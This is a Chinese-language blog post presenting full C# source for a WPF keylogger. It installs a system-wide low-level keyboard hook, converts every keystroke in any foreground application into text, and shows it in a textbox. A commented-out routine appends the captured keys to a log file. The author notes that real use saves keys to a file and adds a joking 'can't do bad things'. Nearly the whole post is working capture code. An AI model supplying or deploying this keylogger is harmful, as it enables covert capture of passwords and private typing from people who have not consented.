很简单的一个wpf键盘记录器
这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间
在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,
用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事
有三个主要的类
/// <summary> /// Raw keyevent handler.
/// </summary>
/// <param name="sender">sender</param>
/// <param name="args">raw keyevent arguments</param>
public delegate void RawKeyEventHandler( object sender, RawKeyEventArgs args);
#region WINAPI Helper class
/// <summary>
/// Winapi Key interception helper class.
/// </summary>
internal static class InterceptKeys
{
public delegate IntPtr LowLevelKeyboardProc( int nCode, UIntPtr wParam, IntPtr lParam);
public static int WH_KEYBOARD_LL = 13;
/// <summary>
/// Key event
/// </summary>
public enum KeyEvent : int
{
/// <summary>
/// Key down
/// </summary>
WM_KEYDOWN = 256,
/// <summary>
/// Key up
/// </summary>
WM_KEYUP = 257,
/// <summary>
/// System key up
/// </summary>
WM_SYSKEYUP = 261,
/// <summary>
/// System key down
/// </summary>
WM_SYSKEYDOWN = 260
}
public static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
[DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
public static extern IntPtr SetWindowsHookEx( int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
[ return : MarshalAs(UnmanagedType.Bool)]
public static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);
[DllImport( "kernel32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
public static extern IntPtr GetModuleHandle( string lpModuleName);
#region Convert VKCode to string
// Note: Sometimes single VKCode represents multiple chars, thus string.
// E.g. typing "^1" (notice that when pressing 1 the both characters appear,
// because of this behavior, "^" is called dead key)
[DllImport( "user32.dll" )]
private static extern int ToUnicodeEx( uint wVirtKey, uint wScanCode, byte [] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
[DllImport( "user32.dll" )]
private static extern bool GetKeyboardState( byte [] lpKeyState);
[DllImport( "user32.dll" )]
private static extern uint MapVirtualKeyEx( uint uCode, uint uMapType, IntPtr dwhkl);
[DllImport( "user32.dll" , CharSet = CharSet.Auto, ExactSpelling = true )]
private static extern IntPtr GetKeyboardLayout( uint dwLayout);
[DllImport( "User32.dll" )]
private static extern IntPtr GetForegroundWindow();
[DllImport( "User32.dll" )]
private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport( "user32.dll" )]
private static extern bool AttachThreadInput( uint idAttach, uint idAttachTo, bool fAttach);
[DllImport( "kernel32.dll" )]
private static extern uint GetCurrentThreadId();
private static uint lastVKCode = 0;
private static uint lastScanCode = 0;
private static byte [] lastKeyState = new byte [255];
private static bool lastIsDead = false ;
/// <summary>
/// Convert VKCode to Unicode.
/// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
/// </summary>
/// <param name="VKCode">VKCode</param>
/// <param name="isKeyDown">Is the key down event?</param>
/// <returns>String representing single unicode character.</returns>
public static string VKCodeToString( uint VKCode, bool isKeyDown)
{
// ToUnicodeEx needs StringBuilder, it populates that during execution.
System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);
byte [] bKeyState = new byte [255];
bool bKeyStateStatus;
bool isDead = false ;
// Gets the current windows window handle, threadID, processID
IntPtr currentHWnd = GetForegroundWindow();
uint currentProcessID;
uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);
// This programs Thread ID
uint thisProgramThreadId = GetCurrentThreadId();
// Attach to active thread so we can get that keyboard state
if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true ))
{
// Current state of the modifiers in keyboard
bKeyStateStatus = GetKeyboardState(bKeyState);
// Detach
AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false );
}
else
{
// Could not attach, perhaps it is this process?
bKeyStateStatus = GetKeyboardState(bKeyState);
}
// On failure we return empty string.
if (!bKeyStateStatus)
return "" ;
// Gets the layout of keyboard
IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);
// Maps the virtual keycode
uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);
// Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
if (!isKeyDown)
return "" ;
// Converts the VKCode to unicode
int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, ( uint )0, HKL);
string ret = "" ;
switch (relevantKeyCountInBuffer)
{
// Dead keys (^,`...)
case -1:
isDead = true ;
// We must clear the buffer because ToUnicodeEx messed it up, see below.
ClearKeyboardBuffer(VKCode, lScanCode, HKL);
break ;
case 0:
break ;
// Single character in buffer
case 1:
ret = sbString[0].ToString();
break ;
// Two or more (only two of them is relevant)
case 2:
default :
ret = sbString.ToString().Substring(0, 2);
break ;
}
// We inject the last dead key back, since ToUnicodeEx removed it.
// More about this peculiar behavior see e.g:
// http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html
// http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx
// http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx
if (lastVKCode != 0 && lastIsDead)
{
System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, ( uint )0, HKL);
lastVKCode = 0;
return ret;
}
// Save these
lastScanCode = lScanCode;
lastVKCode = VKCode;
lastIsDead = isDead;
lastKeyState = ( byte [])bKeyState.Clone();
return ret;
}
private static void ClearKeyboardBuffer( uint vk, uint sc, IntPtr hkl)
{
System.Text.StringBuilder sb = new System.Text.StringBuilder(10);
int rc;
do
{
byte [] lpKeyStateNull = new Byte[255];
rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
} while (rc < 0);
}
#endregion Convert VKCode to string
}
#endregion WINAPI Helper class
|
public class KeyboardListener : IDisposable
{
/// <summary>
/// Creates global keyboard listener.
/// </summary>
public KeyboardListener()
{
// Dispatcher thread handling the KeyDown/KeyUp events.
this .dispatcher = Dispatcher.CurrentDispatcher;
// We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;
// Set the hook
hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);
// Assign the asynchronous callback event
hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
}
private Dispatcher dispatcher;
/// <summary>
/// Destroys global keyboard listener.
/// </summary>
~KeyboardListener()
{
Dispose();
}
/// <summary>
/// Fired when any of the keys is pressed down.
/// </summary>
public event RawKeyEventHandler KeyDown;
/// <summary>
/// Fired when any of the keys is released.
/// </summary>
public event RawKeyEventHandler KeyUp;
#region Inner workings
/// <summary>
/// Hook ID
/// </summary>
private IntPtr hookId = IntPtr.Zero;
/// <summary>
/// Asynchronous callback hook.
/// </summary>
/// <param name="character">Character</param>
/// <param name="keyEvent">Keyboard event</param>
/// <param name="vkCode">VKCode</param>
private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);
/// <summary>
/// Actual callback hook.
///
/// <remarks>Calls asynchronously the asyncCallback.</remarks>
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
[MethodImpl(MethodImplOptions.NoInlining)]
private IntPtr LowLevelKeyboardProc( int nCode, UIntPtr wParam, IntPtr lParam)
{
string chars = "" ;
if (nCode >= 0)
if (wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_KEYDOWN ||
wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_KEYUP ||
wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_SYSKEYUP)
{
// Captures the character(s) pressed only on WM_KEYDOWN
chars = InterceptKeys.VKCodeToString(( uint )Marshal.ReadInt32(lParam),
(wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_KEYDOWN ||
wParam.ToUInt32() == ( int )InterceptKeys.KeyEvent.WM_SYSKEYDOWN));
hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null , null );
}
return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
}
/// <summary>
/// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
/// </summary>
private KeyboardCallbackAsync hookedKeyboardCallbackAsync;
/// <summary>
/// Contains the hooked callback in runtime.
/// </summary>
private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;
/// <summary>
/// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
/// </summary>
/// <param name="keyEvent">Keyboard event</param>
/// <param name="vkCode">VKCode</param>
/// <param name="character">Character as string.</param>
private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
{
switch (keyEvent)
{
// KeyDown events
case InterceptKeys.KeyEvent.WM_KEYDOWN:
if (KeyDown != null )
dispatcher.BeginInvoke( new RawKeyEventHandler(KeyDown), this , new RawKeyEventArgs(vkCode, false , character));
break ;
case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
if (KeyDown != null )
dispatcher.BeginInvoke( new RawKeyEventHandler(KeyDown), this , new RawKeyEventArgs(vkCode, true , character));
break ;
// KeyUp events
case InterceptKeys.KeyEvent.WM_KEYUP:
if (KeyUp != null )
dispatcher.BeginInvoke( new RawKeyEventHandler(KeyUp), this , new RawKeyEventArgs(vkCode, false , character));
break ;
case InterceptKeys.KeyEvent.WM_SYSKEYUP:
if (KeyUp != null )
dispatcher.BeginInvoke( new RawKeyEventHandler(KeyUp), this , new RawKeyEventArgs(vkCode, true , character));
break ;
default :
break ;
}
}
#endregion Inner workings
#region IDisposable Members
/// <summary>
/// Disposes the hook.
/// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
/// </summary>
public void Dispose()
{
InterceptKeys.UnhookWindowsHookEx(hookId);
}
#endregion IDisposable Members
}
|
/// <summary> /// Raw KeyEvent arguments.
/// </summary>
public class RawKeyEventArgs : EventArgs
{
/// <summary>
/// VKCode of the key.
/// </summary>
public int VKCode;
/// <summary>
/// WPF Key of the key.
/// </summary>
public Key Key;
/// <summary>
/// Is the hitted key system key.
/// </summary>
public bool IsSysKey;
/// <summary>
/// Convert to string.
/// </summary>
/// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
public override string ToString()
{
return Character;
}
/// <summary>
/// Unicode character of key pressed.
/// </summary>
public string Character;
/// <summary>
/// Create raw keyevent arguments.
/// </summary>
/// <param name="VKCode"></param>
/// <param name="isSysKey"></param>
/// <param name="Character">Character</param>
public RawKeyEventArgs( int VKCode, bool isSysKey, string Character)
{
this .VKCode = VKCode;
this .IsSysKey = isSysKey;
this .Character = Character;
this .Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
}
}
|
codebehind
KeyboardListener _KeyListener = new KeyboardListener();
bool _isRuning = false ;
public MainWindow()
{
InitializeComponent();
this .Loaded += Window_Loaded;
}
public void BeginListen( object sender, RoutedEventArgs e)
{
_isRuning = true ;
}
public void StopListen( object sender, RoutedEventArgs e)
{
_isRuning = false ;
}
private void Window_Loaded( object sender, RoutedEventArgs e)
{
_KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
}
StringBuilder _sb = new StringBuilder();
private void KListener_KeyDown( object sender, RawKeyEventArgs args)
{
if (!_isRuning) return ;
tb_keyText.Text += args.ToString();
//if (args.Key == Key.Enter)
//{
// Write(_sb.ToString());
// _sb.Clear();
//}
//else
//{
// _sb.Append(args.ToString());
//}
//Console.WriteLine(args.ToString());
}
private void Write( string keyEvents)
{
try
{
StreamWriter sw = new StreamWriter( "D:/keyReport.txt" , true );
sw.WriteLine(keyEvents);
sw.Close();
}
catch (Exception Exception)
{
}
}
private void Window_Closing( object sender, System.ComponentModel.CancelEventArgs e)
{
_KeyListener.Dispose();
}
|